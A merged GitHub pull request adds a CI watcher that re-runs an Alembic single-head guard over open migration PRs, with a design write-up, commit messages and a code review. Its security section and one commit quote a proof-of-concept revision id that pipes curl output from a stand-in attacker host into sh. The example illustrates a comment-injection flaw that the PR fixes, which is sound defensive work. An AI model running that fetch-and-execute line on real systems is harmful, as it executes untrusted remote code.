Skip to content

fix(ci): re-check open migration PRs against the live dev tip (#2533) - #2590

Merged
vybe merged 10 commits into
devfrom
AndriiPasternak31/issue-2533
Sep 8, 2026
Merged

fix(ci): re-check open migration PRs against the live dev tip (#2533)#2590
vybe merged 10 commits into
devfrom
AndriiPasternak31/issue-2533

Conversation

@AndriiPasternak31

Copy link
Copy Markdown
Contributor

Fixes #2533

The team ruling this implements

#2526 merged carrying an Alembic head fork that every pre-merge signal reported as clean. The ruling was that this is not a checkout bug and must not be "fixed" by changing how schema-parity checks out: that job runs scripts/ci/check_alembic_heads.py unconditionally, and actions/checkout on a pull_request event already resolves refs/pull/N/merge — so the guard was testing the merge result and was correct. It was stale. GitHub recomputes refs/pull/N/merge when the base advances but does not re-trigger workflows, so the last green run can describe a base that no longer exists while the PR reads mergeable, all checks green. #2526 merged 75 minutes after its last green run.

The ruling also priced the complete fixes and rejected them: a GitHub merge queue, or "require branches to be up to date before merging", both close the whole class but are repository settings, not code, and both were priced out on this repo's merge rate. What was approved instead is one small workflow that re-runs the same script, unmodified, over an in-memory git merge-tree of every open migration PR against the live dev tip.

What this adds

File What
.github/workflows/alembic-head-watch.yml The watcher. Triggers on push to dev under src/backend/migrations/versions/**; schedule is a dropped-run backstop only; workflow_dispatch can scope to one PR; pull_request is the self-test.
scripts/ci/alembic-head-verdict.js The status/comment decision, extracted from the inline github-script body so the one path that can publish a false all-clear is executable by a test. Pure, CommonJS.
tests/unit/test_2533_alembic_head_watch.py 57 tests — static guards over the workflow plus behavioural tests that execute the verdict module under node.
docs/memory/architecture.md Invariant #3 — where the pre-merge guard's freshness comes from.
docs/memory/requirements/infrastructure.md §8.11, HEADW-001…011.
docs/memory/feature-flows/database-migration-runner.md + index The triage pointer: a fork can ship green, and why.
docs/memory/learnings.md The attacker-controlled-rendering pitfall (below).

check_alembic_heads.py is not modified — that is a requirement, not an accident. It already fits by contract (positional version directories, ast.parse and never import, tuple down_revision, loud skip on an absent directory, fail-closed when files exist but none parses).

ADVISORY BY DESIGN

The alembic-head-watch commit status must never be made a required context. This is a property, not a shortcoming:

  • The blocking gate already ran and passed. This watcher exists to say "that answer has expired", and a watcher that can itself brick a merge is worse than the gap it closes (the pg-migrations.yml precedent).
  • A run that dies leaves the PR mergeable. For a watcher, that is the correct failure direction.
  • conflict and unknown publish no status at all rather than success — a false all-clear on a check that never ran is the bug(ci): both nightlies post a false ✅ "clean" to PRs whose suite never ran #2029 failure and nothing corrects it.

What it does NOT cover — said out loud

  • The Alembic single-head class only. Staleness is true of every check on a PR. Nothing here helps any of them. Alembic is where it is silent and expensive: the two revision files never conflict textually (different filenames, each individually valid — the defect exists only in the relationship), and alembic upgrade head is singular and resolves its target before applying anything, so a two-head graph applies zero revisions on PostgreSQL.
  • It narrows a window; it does not close the class. A PR can still be merged in the gap between a push to dev and this run.
  • It cannot block anything. A green PR still needs the usual eyes.
  • Post-merge nets are unchanged and still the last line of defence: schema-parity also runs on push to dev, and deploy runs migrations at boot.
  • A forked dev suppresses every PR verdict rather than flagging all of them — smearing blame across every open migration PR would reproduce bug(ci): nightly unit-suite reports a false merge conflict on every PR — shallow fetch on both sides leaves no common ancestor #1941's defect (a detector whose output is independent of its input).

Properties I could NOT verify locally, and how the PR's own run confirms them

Everything below is asserted by a static test over the workflow source. A static test proves the file says the right thing; it cannot prove GitHub does it. These three are the ones where that gap is real:

Property Why local verification is impossible How this PR confirms it
schedule: trigger fires schedule: fires only from the default branch (main). The cron arm is structurally dormant until this file reaches main at a release cut. Not confirmable from this PR at all — and that is expected, stated in HEADW-002 and in the workflow header. The push arm is the mechanism and goes live the moment this merges to dev. Confirm the cron arm after the next release cut, not here.
GITHUB_TOKEN scope — that statuses: write + issues: write + pull-requests: write actually permit createCommitStatus, createComment, updateComment No local runner has a real GITHUB_TOKEN; a mocked Octokit proves nothing about GitHub's permission model. The pull_request self-test runs the whole path with DRY_RUN=true and asks the token for nothing, so it cannot prove the write scopes either. These are confirmed on the first real push-to-dev sweep that finds a migration PR — and the run fails loudly if a write was refused: a fork/conflict that publishes neither status nor comment calls core.setFailed ("the finding reached nobody"). Silence is not a possible outcome.
needs: / if: wiring — the step gating (if: steps.discover.outputs.has_prs == 'true', if: always() && …, the same-repo sparse-checkout if:) Step if: expressions are evaluated by the Actions runner against a live event context. Nothing local reproduces that. This PR's own pull_request self-test. It is path-filtered to exactly these two files, so it runs on this PR: discover → fetch → merge-tree → archive → guard → verdict → summary, publishing nothing. The job summary shows which steps ran and which were skipped — that is the wiring, executed.

Why a pull_request self-test exists at all: workflow_dispatch cannot reach a workflow that exists only on a feature branch (GitHub resolves dispatchable workflows from the default branch), so without it a change here could not be exercised until after it merged. It also sparse-checks out this PR's scripts/ci into a side path, same-repo only — otherwise the self-test would load dev's verdict module and rehearse nothing, and on the PR that adds the file it could not run at all.

Reviewer, please check the run's job summary for the dry-run line and the per-PR verdict lines. If it says Dry run (pull_request self-test) — evaluated, published nothing, the wiring executed end to end.

Security note (HEADW-011)

Every value the comment renders is attacker-controlled: the heads and the quoted guard text are read out of the PR's own revision files (revision = "<any string>", plus whatever filename was committed), and on a public repo any fork author picks them — while the result posts as a comment carrying github-actions[bot]'s voice. Proven by execution before the fix: revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)" rendered a runnable payload inside the "Fix" instruction, and an id carrying a newline plus a triple backtick closed the hard-coded fence and put attacker markdown into a bot-authored comment.

Two closures, both tested including a control case that proves ordinary input still gets a real command: the quoted block opens with one backtick more than the longest run inside it (CommonMark closes on the first run ≥ the opening fence), and a revision id is interpolated into the pasteable alembic merge command only when it matches ^[A-Za-z0-9._-]{1,255}$, degrading to a <head-a> <head-b> placeholder otherwise. Not RCE — revision files are only ever ast.parsed — but the bot saying something its author did not write is the whole reason anyone trusts the comment.

Variant analysis found the same shape pre-existing in backend-unit-nightly.yml, which splices a PR-derived diff artifact into a <details> block with no fence at all. Out of scope here; filed separately.

Verification run locally

tests/unit/test_2533_alembic_head_watch.py .................... 57 passed
+ test_2068_alembic_heads_guard.py, test_1891_python_version_parity.py,
  test_2350_journey_impact.py, test_1653, test_canary_env_prod_parity,
  test_ent14_registry_env_packaging ............................ 125 passed, 2 skipped
tests/lint_sys_modules.py ...................................... no new violations
YAML parses; `require()` of the verdict module resolves all 8 exports.

dev was merged into this branch and both doc-index conflicts (feature-flows.md, learnings.md — pure append collisions) were resolved keeping both sides; the diff against dev is exactly the 8 files above.


🤖 Generated with Claude Code

AndriiPasternak31 and others added 9 commits September 7, 2026 18:31
…watcher (#2533)

Requirements-first (Rule #1) for the #2533 watcher.

`requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is
STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
it tests the merge result correctly. GitHub recomputes that ref when the base
advances but does not re-trigger workflows, so #2526's last green run described
a base that no longer existed.

`architecture.md` Invariant #3 gains two sentences on the same point, amending
the "One head per version-line (#2068)" passage rather than restating the fork
mechanics already documented there.

Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's
"bug fix: commit message only" — the deliverable is a new always-on CI service
with a new PR-facing signal and a new permission scope.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
)

#2526 merged carrying an Alembic head fork that every pre-merge signal reported
as clean. Not a checkout bug: `schema-parity` runs the single-head guard
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
the guard was testing the merge result and was correct. It was STALE — that run
happened 75 minutes before the competing revision landed on `dev`, and GitHub
recomputes the merge ref when the base advances without re-triggering workflows.

`alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED
— over an in-memory merge of each open migration PR against the live `dev` tip.

The trigger is the precise one: a push to `dev` touching
`src/backend/migrations/versions/**` is the exact moment every open migration
PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop
(and fires only from `main`, since `schedule:` runs from the default branch).

`git merge-tree --write-tree` makes no commit and touches neither the working
tree nor the index, so this workflow structurally cannot push; its exit contract
(0 clean / 1 conflict / else error) distinguishes a conflicting PR from an
infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941
got wrong. Because the PR is never checked out and the only PR bytes on disk are
revision files read by `ast.parse`, no PR-authored code executes — which is why
this is one job rather than backend-unit-nightly.yml's three-job split.

Reporting is idempotent in both directions: a commit status (the alarm at the
merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR
never gains a sticky; `conflict` and `unknown` publish no status, because a
false all-clear on a check that never ran is the #2029 failure. Advisory by
design and never a required context — the pg-migrations precedent.

The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach
a workflow that exists only on a feature branch, so without it a change here
would be unverifiable until after it merged.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…2533)

36 tests. Static guards over the workflow in the shape of
test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every
string assertion run against the YAML with COMMENT LINES STRIPPED — this
workflow's own header says it "cannot push" and "never checks out the PR", so a
naive substring search matches the prose and passes while the shell does the
opposite.

Pinned: the push trigger stays restricted to `dev` + the version line; the
pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git
command appears anywhere; merge-tree's conflict and error arms stay
distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines
reach the guard; the enterprise arm stays guarded against absence; a forked
`dev` evaluates no PR; a sweep that produces nothing fails the run.

The verdict module is EXECUTED, not grepped — it is the one path that can
publish a green tick for a check that never ran. Includes the coupling neither
file can see: the guard's real output, produced by running
check_alembic_heads.py on a reconstruction of #2526's fork, is fed to
parseGuardOutput, and the resulting fix instruction is asserted to name
`0050_agent_canvases` — what #2526 actually did.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…2533)

Three independent reviews (autoplan strategy, autoplan engineering with
mutation testing, and Codex gpt-5.5 adversarially) returned "ship with
changes". These are the nine, ordered by what they could do to a run.

M1 — the self-test could not run at all. The verdict module is require()d
from the workspace, and the workspace is dev, so `alembic-head-verdict.js`
was never exercised by the arm that exists to exercise it — and on the PR
that ADDS the file the baseline step hard-failed with "missing from dev".
A second SPARSE checkout of scripts/ci into a side path supplies the PR's
copy, gated on `pull_request` AND same-repo. The python guard is never
sourced this way: it is the assertion dev enforces.

M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit
only because pipefail survives `set +e`; without it a CONFLICTING PR was
classified clean and published a green status for a check that never ran.
Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the
warning. That also gives M2b's discriminator free — measured on git 2.50.1,
an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1
with the merged tree's OID, so exit 1 alone answered an infrastructure fault
by telling an innocent author their PR conflicts.

M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line
made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>`
fallback written for that case never printed. `|| true`.

M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending
run. Harmless between two push runs (a later sweep subsumes an earlier one),
not harmless across events: a dry-run self-test could silence a real push
run. Group keyed on the event.

M5 — six of eight load-bearing mutations survived the suite. Added guards for
the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the
merge-tree error arm (scoped to the evaluate step, not every run: block), the
500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring.
19/19 mutations now killed.

M7 — one try/catch wrapped the status, the comment guard and both comment
calls. A throwing status call skipped the comment entirely, so on `fork` —
the one outcome this exists to be seen on — the human saw nothing and the run
passed. Separate try/catch per signal; setFailed when neither published.

M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body`
was never true and "skipped when unchanged" was unimplementable. Compare
through `stickyBodiesMatch`, which normalises the run id away.

M9 — `git archive` can emit symlinks and the guard read_text()s every *.py
it globs; a link at an unbounded source can hang or OOM a job holding write
scopes. Disclosure was already closed (ids and filenames only reach output);
this closes the resource path, in the workflow rather than the guard.

88 passed, 2 skipped; actionlint rc=0.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…does (#2533)

M6 was a doc claiming a control that does not exist: §8.11 said extraction is
"capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING,
not extraction — the tree is already on disk by then and bounded by the repo.

The rest of this is the same class, caught while fixing the code:

- HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything
  else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable
  ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's
  OID. Records the tree OID as the discriminator, the file redirect that
  removes the pipefail dependency, and the symlink sweep.
- HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL
  made that unreachable. Records the normalised comparison, and M7's separate
  failure domains for the status and the comment.
- HEADW-008/009 said "the PR is never checked out", which stops being true
  verbatim once the self-test sources its own scripts/ci. Records the narrower
  true statement — the guard's workspace is dev only — and the same-repo gate.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…om (#2533)

/sync-feature-flows: NO new flow doc, and the precedent is written down rather
than inferred — database-migration-runner.md's Related Flows already covers this
guard and says in as many words "No flow doc of its own: the mechanism is one
stdlib script". The index's own scope is UI → API → Database → Side Effects,
which a CI workflow has none of.

So the delta is to amend that paragraph, which had become misleading: it named
`schema-parity` as the pre-merge guard without saying that run is fresh only at
PR-event time. Someone triaging a fork that shipped green would read it and
conclude the guard had failed, when it had merely aged.

Index row added anyway (the "always add a row" rule), pointing at the flow it
amends.

Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows
against #1360's ~20 cap, and the index is 522 lines against the skill's 400.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…-controlled (#2533)

/review + /cso --diff on the branch. Both reviews landed on one real defect,
in the new verdict module rather than the workflow.

`alembic-head-verdict.js` renders two values that come out of the PR's OWN
revision files — `revision = "<any string>"` and the committed filename — into
a comment authored by `github-actions[bot]`. On a public repo any fork author
picks them, and the fork arm is exactly the path that fires. Proven by
execution against the real guard before the fix:

  * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived
    `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion —
    a command the comment invites a maintainer to paste into a shell.
  * An id carrying a newline plus a triple backtick closed the hard-coded
    fence around the quoted guard output, putting attacker markdown
    ("**Reviewed and approved — safe to merge.**") into the bot's comment.

Neither is code execution on the runner — revision files are only ever
`ast.parse`d (HEADW-008) — both are the comment being made to say something
its author did not write, which is the only reason anyone trusts it.

  * `isSafeRevisionId` gates interpolation into the pasteable command on
    `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything
    else degrades to the generic `<head-a> <head-b>` placeholder. Nothing
    diagnostic is lost — the verbatim guard output above it still names the
    real ids.
  * `fenced()` opens the quoted block with one backtick more than the longest
    run inside it. CommonMark closes on the first run >= the opening fence, so
    a hard-coded ``` is escapable by any input that contains one.

Also: the `fork` comment now says when it clears, the way `conflictBody`
already did. Without it an author who rechains and pushes sees a stale
warning until the next push to `dev` (their own push does get a fresh,
correct `schema-parity` run — it is the sticky that lags).

Tests: 3 added, all three mutation-killed, including the control that proves
an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built
end-to-end through the real `check_alembic_heads.py`, since the hostile ids
have to survive its formatting before they reach the module.
57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green.

Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the
class (CI that comments on a PR is a rendering surface for PR-controlled text).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
HEADW-011 was appended when the attacker-controlled-rendering finding
landed and took 010's slot, leaving the numbered list out of order.
No content change to either requirement.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…e-2533

# Conflicts:
#	docs/memory/feature-flows.md
#	docs/memory/learnings.md
@AndriiPasternak31 AndriiPasternak31 self-assigned this Sep 7, 2026
@AndriiPasternak31
AndriiPasternak31 marked this pull request as ready for review September 7, 2026 20:31

@dolho dolho left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

/review — PR #2590 (AndriiPasternak31/issue-2533dev)

Files: 8 (+1877/−2) · Scope: CLEAN — #2533 recommended option (3), a targeted watcher, and that is what landed; the guard (check_alembic_heads.py) is genuinely reused unmodified, which the issue required.

Verified locally: pytest tests/unit/test_2533_alembic_head_watch.py57 passed; the workflow parses as YAML; parseGuardOutput's • <head> / They fork at: shapes match what check_alembic_heads.py actually prints (scripts/ci/check_alembic_heads.py:297,300).

The design holds up on the two things that decide whether a watcher is worth having:

  • git merge-tree's exit contract is read natively and the overloaded 1 is disambiguated on the tree OID — with the pipeline deliberately removed so pipefail cannot silently reclassify a conflicting PR as clean. That is the #1941 class closed properly rather than re-derived.
  • Absence of a verdict is its own state: conflict/unknown publish no status, and mute fails the run when a fork reached nobody. A watcher that can say nothing and pass is the bug; this one can't.

Critical

None.

Informational

[I1] The header's security claim is contradicted by the self-test it also describes (Confidence: 9/10)
.github/workflows/alembic-head-watch.yml:84

# No PR-authored code runs, so pull-requests: write is safe in this job.

But :158 checks out the PR head's scripts/ci and :180-ish repoints verdict_module at it, and the publish step then require()s that file inside a job holding pull-requests: write + issues: write + statuses: write. require() executes the module body — DRY_RUN gates what verdictFor returns, not whether top-level code in the PR's copy runs.

The blast radius is genuinely small and you've fenced it well (if: on same-repo head, so a fork keeps dev's copy; fork tokens are read-only anyway; persist-credentials: false leaves no token file on disk). Same-repo means a collaborator who already has push. So this is not a blocker — but the flat sentence at :84 is the one a future reader will trust when deciding whether to add a scope here, and it is false as written. Two options, either fine:

  • reword :84 to the true, narrower claim: no PR-authored code runs except the same-repo self-test's own verdict module, which runs under a token that can write but a DRY_RUN that publishes nothing; or
  • move the self-test's publish step into a second job with permissions: {}, which makes the original sentence true again.

The (… publishes nothing) parenthetical at :77 is doing this work today, but it argues about effects, not about execution, which is the property :84 asserts.

[I2] workflow_dispatch has the same default-branch constraint as schedule, and only schedule says so (Confidence: 8/10)
.github/workflows/alembic-head-watch.yml:44-46

The header correctly warns that schedule: fires only from main, so the cron arm is dormant until a release cut. workflow_dispatch resolves from the default branch too — so the pr_number input, which is the obvious thing to reach for the first time someone wants to scope this at a single PR, is equally unavailable in that window. One clause on the existing note costs nothing and saves the confused-first-use.

[I3] dev_head parsing breaks on a revision id containing ) (Confidence: 6/10)
.github/workflows/alembic-head-watch.yml:229

grep -o '1 head ([^)]*)' stops at the first ). Degrades safely (<unparsed>forkBody falls back to "the current dev head" prose), so this is cosmetic — but note isSafeRevisionId already excludes ) from an id it is willing to render, so the module and the shell disagree about what an id may contain. If you touch this line anyway, worth aligning; not worth a push on its own.

Clean

  • Auth/permissions: top-level permissions: {}, job declares exactly the three scopes it uses; contents: read pinned by test.
  • Injection: ONLY_PR passed through env: and digit-validated before use; every rendered value is fenced against its own backticks (fenced()), and the alembic merge command is only built from ids matching SAFE_REVISION_ID. The sticky lookup filters on bot authorship, so a user comment quoting the marker cannot 403 the update path (the backend-unit-nightly.yml lesson, applied).
  • Tar/symlink: git archive trees cannot carry .. or absolute paths and cannot hold a name as both blob and tree, so no extract-through-symlink; find -type l -delete closes the unbounded-read path regardless.
  • Fail-open direction: an unlistable PR is evaluated anyway — the correct direction for a detector whose failure mode is the bug it exists for.
  • Status/comment failure domains split into separate try/catch, so a throwing status call can no longer suppress the comment on the one outcome that matters.

Summary

Critical: 0 · Informational: 3 (all non-blocking) · Scope: clean.

Approving. [I1] is a comment fix and I'd like it before merge, but it changes no behaviour and I'm not going to hold a correct watcher on a sentence.

@github-actions

github-actions Bot commented Sep 8, 2026

Copy link
Copy Markdown

⚠️ Nightly unit-suite check skipped — merge conflict against dev.

Resolve by running git merge dev locally and pushing the result. The next nightly run will re-test once the conflict is gone.

# Conflicts:
#	docs/memory/feature-flows.md
#	docs/memory/learnings.md
@vybe
vybe merged commit 163b583 into dev Sep 8, 2026
28 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants